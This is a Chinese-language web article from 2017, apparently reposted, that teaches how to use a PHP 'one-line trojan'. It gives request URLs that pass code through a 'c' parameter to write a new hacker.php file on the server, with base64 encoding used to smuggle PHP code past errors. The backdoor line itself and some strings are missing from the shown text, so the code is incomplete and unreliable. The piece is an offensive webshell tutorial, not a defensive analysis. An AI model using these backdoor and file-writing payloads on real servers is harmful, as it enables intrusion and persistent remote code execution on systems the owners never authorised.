由PHP木马程序带来的实战入侵

2017-3-14 21:24 |来自: 互联网 3933 0

摘要: 在PHP文件中插入下边这句话，程序顷刻间就成能变身为木马程序。test.php文件内容：访问:http://www.qichunquanze.cn/test.php?c=你想用的各种PHP语句体比如我的使用方式是这样的：http://www.qichunquanze.cn/test.p ...

在PHP文件中插入下边这句话，程序顷刻间就成能变身为木马程序。

test.php文件内容：

访问:http://www.qichunquanze.cn/test.php?c=你想用的各种PHP语句体

比如我的使用方式是这样的：

http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),"Hello,Hacker!");

这个是时候就会在根目录下生成了一个hacker.php文件，打开它发现有 Hello,Hacker! 文本。

http://www.qichunquanze.cn/hacker.php 它只是保存的是纯字符串而以。

哪么高级一点的做法是，将hacker.php文件内容输出为PHP语言执行的语句，哪如何做呢？接下来看我的做法。

我们要将http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),"Hello,Hacker!");这个url中的Hello,Hacker!这段文本替换成php语句才能达到目的，直接在URL中写成我们要将http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),""); 发现会出现报错，哪是因为不能适别PHP的左右尖括号造成的，哪么我们改进一下代码

$hackerstring = "";

我们只有将$hackerstring这段文本生成到hacker.php文件中才能算此方法通过测试。

echo base64_encode($hackerstring);

经过base64_encode转码得到的结果如下：

获得结果：PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4=

我们将这段代码代入下面程式：

fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));

浏览器中访问：

http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));

运行后，去根目录找到hacker.php文件，内容测试如下图所示。